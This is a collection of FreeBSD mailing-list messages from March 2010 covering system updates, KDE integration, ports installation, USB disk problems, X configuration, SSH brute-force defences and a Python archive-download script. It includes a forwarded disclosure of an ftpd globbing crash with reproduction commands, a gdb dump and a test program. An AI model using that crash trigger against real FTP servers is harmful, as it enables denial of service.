> always completely ignore a system component that has once been
> recompiled sounds a bit silly.
>
> 2) Happily update the system, overwrite my custom compiled bootloader,
> forcing me to manually rebuild the bootloader again before I reboot
> the system. This I guess would actually be the desired behaviour
OK, I did a testrun of this in a VM environment and #1 is what
happens. I tried "freebsd-update IDS" first and that showed that
/boot/loader SHA256 does not match what is expected, I then applied
the updates, but it ignored my custom /boot/loader anyway and didn't
touch it despite the mismatch. Why?
My biggest concern is what does this mean going forward, when the
eventual time for upgrading to 8.1 and 8.2 comes. 8.1 definately has a
changed bootloader. Does the current behaviour mean that when I
upgrade to 8.1, it will still refuse to update the bootloader and will
refuse to update it forever or will it actually update "whatever is
given" to 8.1, which would be the desired behaviour?
- Sincerely,
Dan Naumov
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From: Anselm Strauss <amsibamsi@gmail.com>
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Hi,
I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybody
knows how to achieve this on FreeBSD 8?
Anselm
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Polytropon writes:
> > I am now thinking which one is better.
>
> I have used portupgrade / portinstall in the past, but I think
> portmaster really is the way to go, at least for me,
As far as I can tell, for 90-95% of tasks they're
indistinguishable. If (generic) you have special needs - ugdating a
large user base, extensive local patches, or a non-standard set of
dependencies - then you're going to have to do the research and test
them for yourself.
And instructions for using portmaster are increasingly common
in /usr/ports/UPDATING.
Robert Huff
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On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote:
> Hi,
>
> I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybody
> knows how to achieve this on FreeBSD 8?
>
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I believe you mean that you need KDE to open Firefox whenever you click on a
link. That's easy. From your KDE menu, open "System Settings" (in the first
tab, "favorites")
Then select "Default Applications". Then, in the left list of the
applications, choose "Web browser", and at the right part of the screen choose
the radio button "in the following browser" and in the edit box enter the
"/usr/local/bin/firefox3". Then apply the new settings.
Elias
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Subject: EVOLUTION a, slow start, SOLVED
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Hello all..
Finallly I got the problem with evolution on FreeBSD solved.
Happens that evolution is very slow, on startup, and consumes an HUGE
amount
of CPU (system), on startup, making it almost unuseable for multi user
systems...
The problem is that some plugins did not offer the startup entries
that gnome (glib) wants. so FreeBSD tries to resolv the entry using
dlsym(...)
and search the entire user address space for that...
a simple "patch" for the plugins and e-util/e-plugin.c module solved
the problem
and now evolution starts in 3 seconds...
follow is the base64 encode of the patch
to use, save the patch, say: evolution.fix
extract with b64decode evolution.fix, move the file
to: /usr/ports/mail/evolution/files,
build evolution with: cd /usr/ports/mail/evolution;make reinstall
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On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote:
> On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote:
> > Hi,
> >=20
> > I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybo=
dy
> > knows how to achieve this on FreeBSD 8?
> >=20
> > Anselm
> > _______________________________________________
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>=20
> I believe you mean that you need KDE to open Firefox whenever you click on
> a link. That's easy. From your KDE menu, open "System Settings" (in the
> first tab, "favorites")
> Then select "Default Applications". Then, in the left list of the
> applications, choose "Web browser", and at the right part of the screen
> choose the radio button "in the following browser" and in the edit box
> enter the "/usr/local/bin/firefox3". Then apply the new settings.
>=20
> Elias
Another trick that PC-BSD uses....which might be more of what you are askin=
g=20
about is the installation of a port called x11-themes/gtk-qt4-engine This=
=20
port allows gtk applications to be displayed using qt, which helps integrat=
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>
> Finallly I got the problem with evolution =A0on FreeBSD solved.
>
> Happens that evolution is very slow, on startup, and consumes an HUGE
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> of CPU (system), on startup, making it almost unuseable for multi user
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Thanks for looking into this - I've observed the slow startup with
Evolution too. Have you submitted a PR with the patch? That's the best
way to get it reviewed and included in the tree.
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recent chromium builds on http://chromium.jaggeri.com/ and
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firefox and opera ports support html5 yet.
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On Sunday 07 March 2010 15:52:30 Josh Paetzel wrote:
> On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote:
> > On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote:
> > > Hi,
> > >
> > > I noticed that in PC-BSD 8 firefox is nicely integrated into KDE.
> > > Anybody knows how to achieve this on FreeBSD 8?
> > >
> > > Anselm
> > > _______________________________________________
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> > I believe you mean that you need KDE to open Firefox whenever you click
> > on a link. That's easy. From your KDE menu, open "System Settings" (in
> > the first tab, "favorites")
> > Then select "Default Applications". Then, in the left list of the
> > applications, choose "Web browser", and at the right part of the screen
> > choose the radio button "in the following browser" and in the edit box
> > enter the "/usr/local/bin/firefox3". Then apply the new settings.
> >
> > Elias
>
> Another trick that PC-BSD uses....which might be more of what you are
> asking about is the installation of a port called
> x11-themes/gtk-qt4-engine This port allows gtk applications to be
> displayed using qt, which helps integrate the look of things like FF,
> Thunderbird, OOo with KDE.
I already installed the gtk-qt4-engine, but it has some serious bugs. Scroll
bars are not painted, tab borders are painted at the wrong position, etc.
Could this be because I modified some of KDEs appearance options?
Are there any other integration tweaks, like icons, keyboard shortcuts, file
chooser dialog, ... ?
Thanks,
Anselm
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Aiza wrote:
> David Jackson wrote:
>> David Jackson wrote:
>>> David Jackson wrote:
>>>> I am currently using FreeBSD 8.0. I have been, for a long time,
>>>> been having problems with lockups of FreeBSD 8.0 when using USB
>>>> hard disks. Sometimes certain applications lock up for several
>>>> minutes, when they use the disk, file operations are very slow, and
>>>> sometimes the entire operating system can lock up for several
>>>> minutes. This can be a pretty painful thing and makes the system
>>>> seem very unstable. I am using UFS filesystems on the disks. It
>>>> seems to happen on multiple disks that i use.
>>>>
>>>> I was hopeful changes to the FreeBSD USB drivers might have
>>>> improved things but they are as bad as ever.
>>>>
>>>> Help is appreciated.
>>>>
>>> Are there perhaps diagnostic tools or an error log that can be
>>> enabled so I can see if maybe there is some sort of error occuring
>>> with the USB transmissions that might be causing this problem, or
>>> perhaps what part of the driver code it is getting locked up on?.
>>>
>>> Has anyone else experienced problems such as this with USB disks? If
>>> more information on my hardware is needed i will post dmesg output.
>>>
>>> Any help is appreciated.
>> I have done some more thinking about this issue. Just an app freeze
>> on USB access is one thing, however, the fact that the entire OS
>> freezes up on access to the USB disk shows there are much more
>> serious problems in the FreeBSD kernel. A USB access should not cause
>> the kernel to lock up for minutes. these are very serious flaws in
>> the FreeBSD kernel and lead to an instable and unuseable system. ....
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> Your description about what is happening is lacking any detail.
> Tell us what is on the USB disk, How you are using it, How you created
> it ECT ECT ECT Booting your system from it is way different than
> writing small data files to it or containing a raid file system or
> some database. You have to help us help you.
The USB disk is being used with 2 UFS filesystems on it. Due to the bad
performance, it takes a long time to copy data to the disk. It seems as
though there is a complete lock up periodically when doing a very large
copy. The system becomes very unstable. Conditions worsen when two or
three apps are using the disk at once, it seems. Often the entire OS can
lock up for minutes when the disk is being used. I once tried to copy a
200 mb directory, it took 7 hours. Perhaps the developers of the USB
system would like discuss this, so we can figure out what is going on. I
do not know enough about it as to say exactly where the problem is.
Has anyone else been having these problems?
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> recent chromium builds on http://chromium.jaggeri.com/ and
> http://code.google.com/p/chromium-freebsd8/ support html5.=20
Great news, thank you very much!!
> don't know if the
> firefox and opera ports support html5 yet.
>
> alex
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On Sunday 07 March 2010 10:53:29 Anselm Strauss wrote:
> On Sunday 07 March 2010 15:52:30 Josh Paetzel wrote:
> > On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote:
> > > On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote:
> > > > Hi,
> > > >=20
> > > > I noticed that in PC-BSD 8 firefox is nicely integrated into KDE.
> > > > Anybody knows how to achieve this on FreeBSD 8?
> > > >=20
> > > > Anselm
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> > > I believe you mean that you need KDE to open Firefox whenever you cli=
ck
> > > on a link. That's easy. From your KDE menu, open "System Settings" (in
> > > the first tab, "favorites")
> > > Then select "Default Applications". Then, in the left list of the
> > > applications, choose "Web browser", and at the right part of the scre=
en
> > > choose the radio button "in the following browser" and in the edit box
> > > enter the "/usr/local/bin/firefox3". Then apply the new settings.
> > >=20
> > > Elias
> >=20
> > Another trick that PC-BSD uses....which might be more of what you are
> >=20
> > asking about is the installation of a port called
> > x11-themes/gtk-qt4-engine This port allows gtk applications to be
> > displayed using qt, which helps integrate the look of things like FF,
> > Thunderbird, OOo with KDE.
>=20
> I already installed the gtk-qt4-engine, but it has some serious bugs.
> Scroll bars are not painted, tab borders are painted at the wrong
> position, etc. Could this be because I modified some of KDEs appearance
> options?
>=20
> Are there any other integration tweaks, like icons, keyboard shortcuts,
> file chooser dialog, ... ?
>=20
> Thanks,
> Anselm
I've cc'd in Kris Moore. Perhaps he can answer some of this.
=2D-=20
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On Sun, Mar 7, 2010 at 1:56 PM, Anselm Strauss <amsibamsi@gmail.com> wrote:
> Hi,
>
> I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybody
> knows how to achieve this on FreeBSD 8?
>
> Anselm
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perhaps you could try
https://addons.mozilla.org/en-US/firefox/addon/7574
http://ramonantonio.net/kde-firefox/
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Good bye adobe lame Flash player which never wanted to support FreeBSD and *BSD.
HTML5, welcome abroad :)
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When installing gnome from the ports
# make install clean
installs a few hundred packages and displays dozens and dozens times a
configuration window
which I always answer by hitting TAB key to move to OK button and then
<enter>.
Now this installation is already busy for 7 hours (when will it end?) ...
keeping me locked to my PC ...
How to specify make install clean ...... witj extra options so that is
will answer a configuration window autoamtically
to always accept all the defaults so that you can make an Gnome installation
in an unattended way?
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Abdullah Ibn Hamad Al-Marri writes:
> Good bye adobe lame Flash player which never wanted to support
> FreeBSD and *BSD.
>
> HTML5, welcome abroad :)
Unless you know something we don't, don't bet the rent money
just yet.
Robert Huff
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Portmaster (ports-mgmt/portmaster) will help you do that.
- Sincerely,
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On Sun, 2010-03-07 at 11:55 -0300, Sergio de Almeida Lenzi wrote:
> Hello all.. =20
>=20
> Finallly I got the problem with evolution on FreeBSD solved.
>=20
> Happens that evolution is very slow, on startup, and consumes an HUGE
> amount
> of CPU (system), on startup, making it almost unuseable for multi user
> systems...
>=20
> The problem is that some plugins did not offer the startup entries
> that gnome (glib) wants. so FreeBSD tries to resolv the entry using
> dlsym(...)
> and search the entire user address space for that...
>=20
> a simple "patch" for the plugins and e-util/e-plugin.c module solved
> the problem
> and now evolution starts in 3 seconds...
Thanks for looking into this. Your attached Base64 stream is corrupt.
I was able to look at some of the patch, and I don't see why those
g_warning() calls need to be there. Can you resubmit the patch (you can
unicast me) with just the stub functions returning the required values?
Thanks!
Joe
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>>>>> "n" == n dhert <ndhertbsd@gmail.com> writes:
n> When installing gnome from the ports
n> # make install clean
n> installs a few hundred packages and displays dozens and dozens times a
n> configuration window
n> which I always answer by hitting TAB key to move to OK button and then
n> <enter>.
n> Now this installation is already busy for 7 hours (when will it end?) ...
n> keeping me locked to my PC ...
n> How to specify make install clean ...... witj extra options so that is
n> will answer a configuration window autoamtically
n> to always accept all the defaults so that you can make an Gnome installation
n> in an unattended way?
I do all the configs ahead of time. There are multiple ways to do that.
"make config-recursive" if you're just using the raw Makefiles.
"portinstall -c PORTNAME" if you're using Portinstall (my favorite).
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Anselm Strauss <amsibamsi@gmail.com> a écrit :
> > Another trick that PC-BSD uses....which might be more of what you
> > are asking about is the installation of a port called
> > x11-themes/gtk-qt4-engine This port allows gtk applications to be
> > displayed using qt, which helps integrate the look of things like
> > FF, Thunderbird, OOo with KDE.
>
> I already installed the gtk-qt4-engine, but it has some serious bugs.
> Scroll bars are not painted, tab borders are painted at the wrong
> position, etc. Could this be because I modified some of KDEs
> appearance options?
You have some preferences in the setup pannel for the engine, did you
try to change things?
I've used gtk-qt4-engine without these problems. Anyway, firefox does
not terminate when I use gtk-qt4-engine. There is stil a firefox-bin
process.
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On Sun, Mar 07, 2010 at 11:09:16AM +0100, Niki Kovacs wrote:
>
> Hi,
>
> I'd like to configure X for multiple keyboard layouts, e. g.:
>
> - french
> - swiss french
> - german
>
> On my Linux box (running CentOS 5.4 and a dated version of X.org), the
> configuration for this looks like this :
>
> Section "InputDevice"
> Identifier "Keyboard0"
> Driver "kbd"
> Option "XkbModel" "pc105"
> Option "XkbLayout" "fr,ch,de"
> Option "XkbVariant" ",fr,"
> Option "XkbOptions" "grp:alt_shift_toggle"
> EndSection
>
> This stanza enables me to toggle between different keyboard layouts,
> using the [Alt]+[RightShift] key combination. You might wonder about the
> XkbVariant option: the swiss keyboard layout has two variants: fr and
> de. This is to indicate the swiss roman layout.
>
> Now is there any way I could achieve a similar thing with the more
> recent X.org shipping with FreeBSD 8.0 ?
>
> Any suggestions ?
Hi Niki,
Welcome to FreeBSD!
There is a way to achieve similar results with recent X.org.
X nowadays can get by without an xorg.conf and by default it uses hald
and dbus to configure keyboard, mouse etc.
It's documented how you can create an xorg.conf and use that for
device config rather than hald:
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/x-config.html
You basically create an xorg.conf and then add:
Option "AutoAddDevices" "false"
to the ServerLayout section and then your keyboard config placed in
your xorg.conf will be picked up.
You will also need a section for the mouse along the lines of:
Section "InputDevice"
Identifier "Mouse0"
Driver "mouse"
Option "CorePointer"
Option "Protocol" "auto"
Option "Device" "/dev/sysmouse"
# Option "Emulate3Buttons" "false"
Option "ZAxisMapping" "4 5 6 7" # For scroll wheel
EndSection
It's parameters are dependent on your type of mouse.
With that and xorg.conf placed under /etc/X11/ you should be good to
go.
But I'm quite sure you know that xorg.conf can be a fiddle ;)
If you get stuck, post your xorg.conf
BTW, if you haven't read it already the manpage for moused(8) is quite
a revelation. The FreeBSD mouse driver puts the Linux mouse driver to
shame!
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+++ Erik Norgaard [06/03/10 02:44 +0100]:
>On 05/03/10 13:54, John wrote:
>>My nightly security logs have thousands upon thousands of ssh probes
>>in them. One day, over 6500. This is enough that I can actually
>>"feel" it in my network performance. Other than changing ssh to
>>a non-standard port - is there a way to deal with these? Every
>>day, they originate from several different IP addresses, so I can't
>>just put in a static firewall rule. Is there a way to get ssh
>>to quit responding to a port or a way to generate a dynamic pf
>>rule in cases like this?
>
>This is a frequent question on the list, search the archives. Basically
>there are few things that you can do:
>
>1. limit the access to a range of IPs, for example, even if you travel a
>lot you go to al limited number of countries, why permit access from
>other continents?
>
>2. limit access to certain users, there is no need to allow games or
>root user to authenticate via ssh. Use AllowUsers or AllowGroups to
>restrict access to real users.
>
>3. limit the amount of concurrent non-authenticated connections, number
>of failed attempts and similar.
>
>4. prohibit password authentication.
>
>If the problem is that these attacks consume significant bandwidth then
>moving your service to a different port may be a good solution, but if
>your concern is security, then the above is more effective.
>
>BR, Erik
>
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has anybody suggested having sshd listen on a high port?
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Greetings,
I'm doing some research into ssh and its underlying cryptographic
methods and I have questions. I don't know whom else to ask and humbly
ask for forgiveness if I'm way OT.
So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange.
These algorithms can defeat any attempts on eavesdropping, but cannot
defeat man-in-the-middle attacks. To defeat them, some pre-shared
information is needed - key fingerprint.
If hypothetically someone uses instead of the plain text
authentication some challenge-response scheme, based on user's
password or even a hash of user's password would ssh be able to avoid
the need the user to have key fingerprints of the server prior the
first connection?
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On Sun, Mar 7, 2010 at 11:25 PM, Angelin Lalev <lalev.angelin@gmail.com> wrote:
> Greetings,
>
> I'm doing some research into ssh and its underlying cryptographic
> methods and I have questions. I don't know whom else to ask and humbly
> ask for forgiveness if I'm way OT.
>
> So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange.
> These algorithms can defeat any attempts on eavesdropping, but cannot
> defeat man-in-the-middle attacks. To defeat them, some pre-shared
> information is needed - key fingerprint.
>
> If hypothetically someone uses instead of the plain text
> authentication some challenge-response scheme, based on user's
> password or even a hash of user's password would ssh be able to avoid
> the need the user to have key fingerprints of the server prior the
> first connection?
>
To clarify, we as users anyway do have shared secret with the server
and that's the authentication password why we could not use that
instead of or in addition to a key fingerprint?
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At 1:28 PM -0500 3/6/10, Chuck Swiger wrote:
>While I think floppy drives are still useful for BIOS updates and the
>like, it's not just Apple that isn't selling machines with floppy
>drives any more. Go to HP or Dell and try to buy a new machine with a
>floppy drive-- they don't sell them anymore, either...
I certainly can't argue that modern machines typically have
floppy drives ... even if the motherboard supports one.
So what?
Not everyone in the world throws their three year old
computer in the trash so they can stay "up to date." I, for one,
find it very annoying that new versions of software which once
worked just fine on equipment I still use every day no longer
work in their current incarnations. Delving into several such
cases, I've found comments to the effect that functions are
removed because no one uses the old stuff (ie. three years
old) any more.
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On 07/03/10 21:41, dacoder wrote:
> has anybody suggested having sshd listen on a high port?
Any number will do, think about it:
a. The attacker doesn't really care which host is compromised any will
do, and better yet someones home box as it is more difficult to trace
him. In that case he will scan large ip-ranges for hosts listening on
port 22.
b. The attacker wants to gain control of a particular server. In that
case he will scan all ports to see what services are running and
determine which services are running on each port. In that case running
ssh on a non-standard port is futile.
However, I'm not really a fan of using non-standard ports for ssh, I
don't believe it's the right solution to the problem: You have ssh
access to the outside because people travel and need remote access. In
that case they might find themselves under other security policies which
block access to services deemed unnecessary. Running ssh on a
non-standard port is likely to be blocked on the client network - unless
you run on, say, port 80.
The more uses you have, the more problems you will have running ssh on a
non-standard port, the time you save checking your logs may easily be
spent on end user support.
OP referred to significant impact on bandwidth which I find difficult to
believe. In case connections come from a single ip at a time then you
should tweak LoginGraceTime, MaxAuthTries, MaxSessions to reduce the
number of concurrent un-authenticate connections and slow down brute
force attacks.
Much better, restrict the client access to certain ranges of IPs. The
different registries publish ip ranges assigned per country and you can
create a list blocking countries you are certain not to visit, you can
use my script:
http://www.locolomo.org/pub/src/toolbox/inet.pl
BR, Erik
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Hi Eitan,
On Mon, 1 Mar 2010, Eitan Adler wrote:
>> Which version of flex are you using (you can find out running
>> /usr/local/bin/flex --version)?
> %flex --version
> flex version 2.5.4
that is the system version of flex; I was specifically asking for
the one in /usr/local/bin/flex which is used by the wine port (since
the system one is too old for wine).
> WITHOUT_NLS=YES
> OPTIMIZED_CFLAGS=yes
> PERL_VERSION=5.10.1
>
> that is all. Perhaps it is the NLS which is causing a problem?
It should not, but if you can rebuild flex and Wine without this, that
would be an interesting data point.
My take it this is that _something_ is causing flex to generate incorrect
code or the toolchain is miscompiling something. That's why I asked about
the version of flex you are using, that is the one thing I could think of.
(Over here it is flex 2.5.35, the package 2.5.35_3.)
Gerald
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Date: Fri, Mar 5, 2010 at 11:19 PM
Subject: [Full-disclosure] FreeBSD and OpenBSD ftpd bug (not exploitable?)
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FreeBSD ftpd globbing bug - null pointer dereference ?
Affected FreeBSD Releases
+-+-+-+-+-+-+-+-+-+
FreeBSD 8.0, 6.3 and 4.9
Affected OpenBSD Releases
+-+-+-+-+-+-+-+-+-+
OpenBSD 4.6
Testing Environment
+-+-+-+-+-+-+-+-+-+
FreeBSD localhost.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC
i386
Full Description
+-+-+-+-+-+-+-+-+-+
FreeBSD (tested back to 4.9-Release) (and OpenBSD 4.6) has a bug in its ftpd
when handling globbing requests.
My investigation results in this being a null pointer dereference in
popen.c.
I am not sure if this could be a heap overrun, but I don't think so.
from popen.c:
/* glob each piece */
gargv[0] = argv[0];
for (gargc = argc = 1; argv[argc] && gargc < (MAXGLOBARGS-1); argc++) {
glob_t gl;
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
[1] if (glob(argv[argc], flags, NULL, &gl))
gargv[gargc++] = strdup(argv[argc]);
[2] else
[3] for (pop = gl.gl_pathv; *pop && gargc < (MAXGLOBARGS-1);
pop++)
gargv[gargc++] = strdup(*pop);
globfree(&gl);
}
At [1] glob() is called. if theres a long directory (for example "A" x 200)
and a request like described
in "how to repeat this problem" is sent to the ftpd it crashes. My
assumption is because it lands in the
else clause [2], glob doesn't fail but gives back a zeroed out gl structure.
In [3] then there's no check
if pop is null and therefore *pop gets dereferenced which is a null pointer
and the ftpd instance crashes.
Could someone please shed some light into why glob doesn't fail but gives a
zeroed out structure back?
How to repeat the problem
+-+-+-+-+-+-+-+-+-+-+-+-+-+
$ ftp 192.168.2.11
Connected to 192.168.2.11.
220 localhost.Belkin FTP server (Version 6.00LS) ready.
Name (192.168.2.11:nr): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mkdir
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
257
"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"
directory created.
ftp> ls {W*/../W*/../W*/../W*/../W*/../W*/../W*/}
200 PORT command successful.
---snip---
on the other side:
---snip---
0x282261e5 in read () at read.S:3
3 RSYSCALL(read)
Current language: auto; currently asm
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x0805622c in getline ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0xbfbfd911 -1077946095
esp 0xbfbfba70 0xbfbfba70
ebp 0xbfbfcc08 0xbfbfcc08
esi 0x1 1
edi 0xbfbfcbf4 -1077949452
eip 0x805622c 0x805622c
eflags 0x10293 66195
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb) x/10i $eip
0x805622c <getline+12620>: mov (%edx),%eax
0x805622e <getline+12622>: setle %cl
0x8056231 <getline+12625>: mov %ecx,%esi
0x8056233 <getline+12627>: test %eax,%eax
0x8056235 <getline+12629>: je 0x8056281 <getline+12705>
0x8056237 <getline+12631>: test %cl,%cl
0x8056239 <getline+12633>: je 0x8056281 <getline+12705>
0x805623b <getline+12635>: mov %edx,%ebx
0x805623d <getline+12637>: mov 0xffffee7c(%ebp),%edx
0x8056243 <getline+12643>: lea 0xffffee90(%ebp,%edx,4),%edi
(gdb) i f
Stack level 0, frame at 0xbfbfcc10:
eip = 0x805622c in getline; saved eip 0x805047b
called by frame at 0xbfbfcc14
Arglist at 0xbfbfcc08, args:
Locals at 0xbfbfcc08, Previous frame's sp is 0xbfbfcc10
Saved registers:
ebx at 0xbfbfcbfc, ebp at 0xbfbfcc08, esi at 0xbfbfcc00, edi at
0xbfbfcc04,
eip at 0xbfbfcc0c
(gdb)
Testing program:
---snip---
#include <glob.h>
#include <stdio.h>
#define MAXUSRARGS 100
#define MAXGLOBARGS 1000
void do_glob() {
glob_t gl;
char **pop;
char buffer[256];
strcpy(buffer, "{A*/../A*/../A*/../A*/../A*/../A*/../A*}");
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
if (glob(buffer, flags, NULL, &gl)) {
printf("GLOB FAILED!\n");
return 0;
}
else
// for (pop = gl.gl_pathv; pop && *pop && 1 <
(MAXGLOBARGS-1);
for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
pop++) {
printf("glob success");
return 0;
}
globfree(&gl);
}
main(int argc, char **argv) {
do_glob();
do_glob();
}
---snip---
05 March 2010
/kingcope
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Giorgos Keramidas schrieb am 2010-03-07:
> On Sun, 07 Mar 2010 12:08:32 +0100 (CET), Alexander Best
> <alexbestms@wwu.de> wrote:
> > Dan Nelson schrieb am 2010-03-07:
> >> In the last episode (Mar 07), Alexander Best said:
> >> > hi there,
> >> > what are the steps i need to perform to get a copy of the entire
> >> > mailingslist
> >> > archive of lets say freebsd-current@ in mbox format?
> >> Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/
> >> where you
> >> can download weekly gzipped archives of all the mailing lists
> >> since
> >> their
> >> creation.
> > thanks for the hint, but it would take hours to download all those
> > gzipped
> > files, extract them and merge them.
> > i really need ALL the messages of a mailinglist. of course i could
> > use the
> > gzipped files you mentioned if i had some script for downloading
> > extracting
> > and merging all those files for me.
> It's relatively easy to hack one.
wow!!! thanks a billion. that's a great script. i pointed the vars containing
ftp sites at mirrors near me which give me better download speed and will run
the script for freebsd-current@ this night (~850 archives to pull).
thanks again. great job. :-)
alex
> You can get a list of year names from the /archive/ directory itself
> with curl(1) and a small amount of Python plumbing around curl:
> >>> from subprocess import Popen as popen, PIPE
> >>> import re
> >>> yre = re.compile('^d.*\s(\d+)$')
> >>> devnull = file("/dev/null")
> >>> def years():
> ... curl = "curl -o /dev/stdout
> ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/"
> ... ylist = []
> ... for line in popen(curl, shell=True, stdout=PIPE,
> stderr=devnull).stdout.readlines():
> ... m = yre.match(line)
> ... if m:
> ... ylist.append(int(m.group(1)))
> ... return ylist
> ...
> >>> years()
> [1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003,
> 2004, 2005,
> 2006, 2007, 2008, 2009, 2010]
> Then you can grab a list of the freebsd-current archives by looping
> through the list of years and looking for the list of files that
> match
> the pattern:
> ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/{year}/freebsd-current/(\d+.freebsd-current.gz)
> Using a pipe to parse the output of curl you can collect a list of
> all
> the files that match this pattern, e.g.:
> >>> def yearfiles(year):
> ... base =
> "ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/%4d/freebsd-current"
> % year
> ... curl = "curl -o /dev/stdout %s/" % base
> ... flist = []
> ... fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$')
> ... for line in popen(curl, shell=True, stdout=PIPE,
> stderr=devnull).stdout.readlines():
> ... m = fre.match(line)
> ... if m:
> ... flist.append("%s/%s" % (base, m.group(1)))
> ... return flist
> ...
> >>> yearfiles(1994)
> []
> >>> yearfiles(1995)
> ['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/1.freebsd-current.gz',
> ...]
> Concatenating the file lists of all years and fetching each one of
> them
> with curl is then trivial:
> >>> ylist = years()
> >>> ylist
> [1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003,
> 2004, 2005, 2006, 2007, 2008, 2009, 2010]
> >>> flist = []
> >>> for y in ylist:
> ... f = yearfiles(y)
> ... flist = flist + f
> ...
> >>> len(flist)
> 785
> Once you have the list of all the remote gzipped files, you can loop
> through the list of files once more and fetch them locally. I'm only
> going to fetch the first two files here, but feel free to fetch all
> of
> them in your version of the script:
> >>> flist = flist[:2]
> >>> flist
> ['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz',
> 'ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz']
> >>> from subprocess import call
> >>> def getfile(url):
> ... out = os.path.basename(url)
> ... retcode = call(["curl", "-o", out, url], stderr=devnull)
> ... if retcode == 0:
> ... print "fetched %s" % url
> ... return tuple([url, out, retcode])
> ...
> >>> map(getfile, flist)
> fetched
> ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz
> fetched
> ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz
> ...
> [('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz',
> '19950101.freebsd-current.gz', 0),
> ('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz',
> '19950226.freebsd-current.gz', 0)]
> A slightly hackish script that collects all this to a more usable
> whole
> but lacks LOTS of error checking is the following:
> #!/usr/bin/env python
> from subprocess import call, Popen as popen, PIPE
> import os
> import re
> import sys
> devnull = file("/dev/null")
> yre = re.compile('^d.*\s(\d+)$')
> fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$')
> def years():
> curl = "curl -o /dev/stdout
> ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/"
> ylist = []
> for line in popen(curl, shell=True, stdout=PIPE,
> stderr=devnull).stdout.readlines():
> m = yre.match(line)
> if m:
> ylist.append(int(m.group(1)))
> return ylist
> def yearfiles(year):
> base =
> "ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/%4d/freebsd-current"
> % year
> curl = "curl -o /dev/stdout %s/" % base
> flist = []
> for line in popen(curl, shell=True, stdout=PIPE,
> stderr=devnull).stdout.readlines():
> m = fre.match(line)
> if m:
> flist.append("%s/%s" % (base, m.group(1)))
> return flist
> def getfile(url):
> out = os.path.basename(url)
> retcode = call(["curl", "-o", out, url], stderr=devnull)
> if retcode == 0:
> print "fetched %s" % url
> return tuple([url, out, retcode])
> if __name__ == "__main__":
> print "Fetching year list."
> ylist = years()
> if len(ylist) == 0:
> print "No yearly archives found."
> sys.exit(1)
> print "Fetching file lists for %d years." % len(ylist)
> flist = []
> for y in ylist:
> f = yearfiles(y)
> flist = flist + f
> if len(flist) == 0:
> print "No archives found."
> sys.exit(1)
